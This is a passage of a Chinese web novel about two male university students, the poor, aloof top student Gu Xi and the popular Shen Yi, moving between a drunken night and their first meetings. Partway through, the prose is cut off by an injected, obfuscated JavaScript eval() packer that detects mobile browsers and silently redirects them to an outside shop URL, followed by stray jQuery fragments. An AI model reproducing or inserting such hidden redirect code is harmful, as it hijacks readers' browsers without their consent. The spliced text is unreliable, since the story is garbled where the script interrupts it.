沈熠喉咙里发出细微的声音,似乎有些难受。
“沈熠?醒了吗?”顾惜叫他名字。
沈熠被宽厚温暖的肩膀背着,感觉特别惬意。
醒了,是不是就要下去了?
沈熠闭着眼,摇头。
“喝醉了吗?”顾惜又问。
这次,沈熠很清楚地回答:“没有。”
“……”
顾惜笑了声,看来是醉了。
“为什么不给我打电话。”顾惜好似随口一问。
沈熠不出声。
顾惜换个方式问他:“沈熠,为什么不给顾惜打电话。”
“手机给老赵了,不能打。”沈熠迷迷糊糊。
顾惜没听明白,以为他说的醉话:“沈熠,以后给顾惜打电话,好吗?”
“不。”
顾惜无奈,走了一段路,他问:“不想和顾惜联系吗?”
“不想。”
“为什么?你讨厌顾惜吗?”
“不讨厌。”
“那喜欢顾惜吗?”
沈熠好像很痛苦,微微叹气:“……喜欢。”
顾惜愣住,勾着他的话问:“有多喜欢?”
“喜欢到……我快吐了……”
顾惜:“……”
沈熠挣扎着从他背上跳下去,没站稳,双膝直挺挺跪在地上。
他马上站起,歪歪斜斜跑向垃圾桶,扶着干呕。
倒是没吐什么东西来。
两人好不容易折腾回家,沈熠直奔卫生间躲起来。
醉酒的人,做事颠三倒四。
顾惜担心他睡着,想进去看看,发现门被反锁了:“我在外面等你。给你十分钟洗澡,你还不出来,我就进去了。”
沈熠虽然意识模糊,听见顾惜的警告,倒是用残存的意志,把自己洗干净了。
十分钟后,顾惜用备用钥匙打开门。
沈熠头发滴着水,发着呆,看上去有些委屈。
他知道湿头发不能上床,在等头发晾干。
顾惜蹲下,握住他的脚踝。
沈熠小腿白皙笔直,膝盖周围,青青紫紫,红肿一片。
刚才在小区,他跳下来磕的。
顾惜抿紧嘴角,用大毛巾把他包起来,擦干后,给他穿睡衣。
顾惜叫沈熠别动,拿吹风机给他吹头发。
他的头发很柔软,顺滑的黑发从指缝流过。
沈熠喝醉了,也不闹,很乖。
顾惜摸摸他的脸:“你去卧室等我。”
“哦。”沈熠站不稳,扶着墙面,挪回房间。
顾惜拿着药进来,沈熠倒在床上睡着了。
顾惜没吵他,掀开被子,动作轻柔,给他的膝盖涂药。
忙完了,顾惜亲一亲沈熠的嘴唇,他有工作要做,去了隔壁房间。
沈熠躺在床上翻来覆去,一夜做了好多梦。
又或者,那些不是梦,他在思念他们的过去。
梦里,少年时期的顾惜,睁着一双黑沉沉的眼,看着他说:“沈熠,我想被你照亮。”
……
京海大学是京海最高学府,能考入这所大学的,都是全国拔尖的优秀生。
顾惜以第一名的成绩,考入京海大学,那时他才十七岁。
在人才济济的京海大学,顾惜一战成名,脱颖而出。
他还有另一个让人瞩目的地方,他太好看了。
彼时的顾惜,还处在少年期,个子高挑,人却很瘦。他的肤色苍白,眼窝有些深,鼻梁高挺,轮廓俊美。
顾惜最让人惊艳的地方,是他那双眼睛。浓密长睫下,眼珠黑白分明,雪山一样干净漂亮。
然而他的眼神,波澜不惊,深邃的眼眸透着沉郁。让人忍不住想看他,琢磨他,又不敢靠近。
这个轰动大一的新生,性格孤僻冷漠,谁也不搭理。
每次考试,顾惜都拿专业第一,挣下最高奖学金。
这所学校的学生对自己的成绩,还是很自信的。但不论他们怎么努力,都考不过顾惜。
大一的同学都吐槽顾惜,说他是考试狂魔,卷王之王。
拽,冷漠,成绩好,这种Bking型的男生自带话题热度。
不过时间久了,大家慢慢发现一些别的东西。
专业第一看起来狂拽酷,其实家境贫穷,生活拮据。他的牛仔裤洗得发白,杂牌黑色运动鞋,陈旧到变形。
顾惜需要钱,拼了命的需要。
梁蓝蓝从医院出来后仍然昏迷不醒,这种类型的病人有专门的去处,叫托养中心。托养中心给顾惜打电话,催缴欠款,营养补充剂早就告罄,日常用的药物也快没了。
顾惜靠考试挣下的奖学金,根本不够。
他在学习之外,做着两份兼职。
早八的数学分析,顾惜的睡眠严重不足,趴在教室里补觉。
他们的老师潘荷知道顾惜的情况,没叫醒他。
下课后,潘荷回办公室,沈熠过来交学习小组的报告。
潘荷接过作业,想起什么,问了句:“沈熠,你们学习小组,是不是缺着人?”
“是啊,一直缺。”沈熠点点头,笑起来,“像数学系物理系的学习小组,都好难凑满。”
“我给你推荐一个吧。”潘荷说,“大一的,那个叫顾惜的孩子。”
沈熠对这个人有所耳闻:“大一?还没学多少基础吧,可能跟不上。”
潘荷叹口气:“他经济情况不好,家里还有病人,听说他打着两份工,维持生活。”
“两份兼职?”沈熠有些惊讶。
他们数学系的学习任务重,而且难度高。像沈熠每天会花一两小时,进行基础训练。要是想偷懒,靠考前临时抱佛脚,可能及格也过不了。
顾惜一边兼职,还能拿专业第一,让沈熠很意外。
潘荷想了想:“我记得你们数学小组,如果出的成绩不错,有经费奖励。我是想,让他跟着你们,不耽误学习,还有钱拿。”
潘荷说着又忍不住叹息:“顾惜是个好苗子,他这么拼下去,容易压垮了。”
“好,那我接触看看。”沈熠答应下来。
沈熠找人要大一的课表,挑最近的时间去找他。
沈熠没见过这个人,很奇怪,见到顾惜那瞬间,他一眼就认出来了。
下课后,人潮如涌。
顾惜矗立在人群之中,十分显眼,像只孤傲沉默的白鹤。
“顾惜?”沈熠从人群中挤过去,叫住他,“你好,我叫沈熠……”
“没兴趣。”顾惜连眼神也懒得施舍,绕开沈熠,径直走了。
沈熠:“……”
这下他知道,狂拽酷的外号怎么来的了。
沈熠脾气也上来了,爱参加不参加吧。
可惜没走多远,沈熠想起潘荷的话,她说顾惜拼命打工,家里有个病人。
沈熠认命地叹气,琢磨着,下次挑个时间,再去试试。
其实,早在沈熠发现顾惜之前,他已经看了沈熠好几次。
教室外,初夏的阳光晒着沈熠,他整个人都在发光,温暖明媚。
那么光辉夺目一个人,看一眼,就会深深烙进记忆里。
晚上,顾惜回宿舍。
同寝室的鲁文云问他:“顾惜,听说上午的时候,沈熠是不是来找你?”
顾惜记得,那个人当时报的名字,是这么念的。
“嗯。”顾惜答应。
有人惊讶道:“哇?数院那个沈熠?”
鲁文云说:“还能是哪个沈熠,就是他。”
鲁文云转头又问顾惜:“哎,他为什么找你?”
顾惜:“不知道。”
他不关心学校里的事,他对沈熠这个人的来历和目的,完全不清楚。
鲁文云见他一问三不知,没了兴趣。
宿舍的其他人,围绕沈熠,聊起八卦。
顾惜每天过得很忙,很少和宿舍的人闲聊。
趁睡觉前,他把工装放进盆子里洗。
虽然没加入他们聊天,顾惜的耳朵没办法关上,关于沈熠的八卦,倒是听了七七八八。
沈熠很有钱,家里有私人司机,住着大别墅,而且他成绩优异,人缘特别好。
顾惜再次想到那人明媚亮眼的刹那,微微垂眼。
手里的刷子,用力地刷着衣服。
过了两天,一个傍晚。
顾惜路过校园,往宿舍走,迎面碰见沈熠和一大帮人边走边聊。
沈熠个头不算高,一米七五,声音不怎么明亮,反倒有些平和温润。他处在人群的中心,每个人都和他聊天。
沈熠的笑容很漂亮,眉眼温柔,嘴唇柔软红润。
顾惜注视他一会,别开眼,转向另一条路。
沈熠看见顾惜,和朋友说了声,朝他追了过来。
“顾惜,你等一下。”
顾惜没打算理他,沈熠被突起来的地砖绊了下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029167|194502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>顾惜脚步一顿,回头看他。
沈熠对他笑:“哎,要让你理一理别人,真不容易。”
顾惜乌沉沉的眼睛,直视他:“我得罪你了吗?”
沈熠莫名:“没有。”
“如果你想找我麻烦,要打架,还是玩什么,我奉陪,麻烦尽快。”顾惜语气淡漠,“要是别的事,我很忙,没空。”
难道顾惜见到陌生人,下意识觉得,别人是来找麻烦打架的?
沈熠微微皱眉。
不过走近了,沈熠才发现,顾惜其实不是狂拽酷,他是冷。
天生冷感。
那双黑沉的眼睛里,一点情绪的没有。
他好像对很多事不感兴趣,浑身散发疏离的气息。他不需要有人关注,也不需要交朋友。他没有话要讲,没有心事需要分享,对群居和热闹没有向往。
沈熠忽然联想到,前几天看的纪录片。
这个人像原始森林里的孤鹰,一个人生,一个人死,独来独往。
存在,还是消失,无人在意。
沈熠抿直嘴角,还是按原来的打算,给他介绍:“是潘老师让我找你的,我们系有个学习小组。潘老师希望你能加入,一是不耽误学习,二是我们的课题报告,如果做得漂亮,能拿一笔奖金。”
听见能拿奖金,顾惜问:“每周几个小时?”
学习小组的要求,定的很低,规定上,每周必须参加一次。
沈熠不明白他想问什么:“什么意思?”
“我要打工。”顾惜说,“上课以外的时间,是按小时算的。”
沈熠:“……”
他想他懂了,顾惜要不要进学习小组,要看时薪能拿多少。
如果比他打工赚得少,他就不去了。
他这样问,沈熠也为难,大致估算一下:“一周,大概两到三个小时吧?”
沈熠还想争取一下,抛出另一个诱饵:“不过我们有自己的教室,可以随时去。”
他们有固定的教室,可以想呆多久就呆多久。比挤图书馆,或是在外面找自习室,要好得多。
顾惜盯着他看,那种眼神,像是他们以后都不会再见面。
然后,顾惜拒绝:“不了。”
没给理由。
顾惜走得很干脆,掉头就走。
沈熠很郁闷,他想他尽力了,顾惜不愿意来,那没办法。
走出一段距离,沈熠再次回头。
校园里,漫长的林荫小道,又是晚饭时间,有不少同学经过。
大家三三两两的,总有一两个朋友陪伴。
路上碰见别的同学,彼此打声招呼。
唯独顾惜。
形单影只,在茫茫人海里,独自穿行。
沈熠回到宿舍,闲着没事,又点开那部纪录片,重新看了一遍。
里面有个镜头。
冬季,大雨混杂冰雪,寒风凛冽。
别的小动物要么在寻找庇护的洞穴,要么冻死在半路。
那只孤独的鹰,站在树梢上,淋着雨雪。
孤鹰睁着锐利的眼,承受着寒风霜雪,仿佛不痛不痒,无知无觉。
雨下得实在厉害。
有一定防水效果的羽毛,湿透了。
孤鹰看起来很狼狈。
它抖掉翅膀上的水滴,爪子重新抓紧树梢,慢慢闭上眼。
旁白带着沉重的语调读着:“不知道这只鹰,能不能度过异样寒冷的冬季……”
沈熠看得难受,关掉视频界面。
他有一大家子人,一堆从小长大的朋友,不明白顾惜这种人,平时都是怎么生活的。
转念一想,沈熠又觉得,自己是不是脑补过度。
沈熠滑动椅子,移到室友秦海风的身边:“哎你说,一个人,不可能连朋友都没有吧?”
秦海风从手机抬起头,想了想,回答说:“有可能啊。”
“嗯?”沈熠不太相信。
“不是有很多新闻吗?一个人到死也没人发现,要不是邻居报警,或是出了什么意外,才知道住在这里的人挂掉了。”秦海风唏嘘不已,“可怜又可怕。”
沈熠:“……”
“我说的还算好的了。”秦海风像是觉得冷,抱着胳膊瑟瑟发抖,“还有很多人死去的时候,连新闻都上不了。”
沈熠抿紧嘴角,好半天不知道该说什么。
之后好长一段时间,顾惜孤独的背影,和这只孤独的鹰,在沈熠脑海里挥之不去。